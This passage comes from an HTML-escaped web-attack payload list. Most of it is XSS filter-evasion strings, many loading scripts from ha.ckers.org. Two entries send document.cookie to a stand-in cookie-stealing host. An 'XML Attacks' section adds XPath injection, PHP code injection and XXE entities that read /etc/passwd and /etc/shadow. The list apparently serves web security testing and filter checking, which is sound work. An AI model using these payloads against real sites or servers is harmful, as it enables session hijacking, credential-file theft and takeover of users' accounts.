&quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; 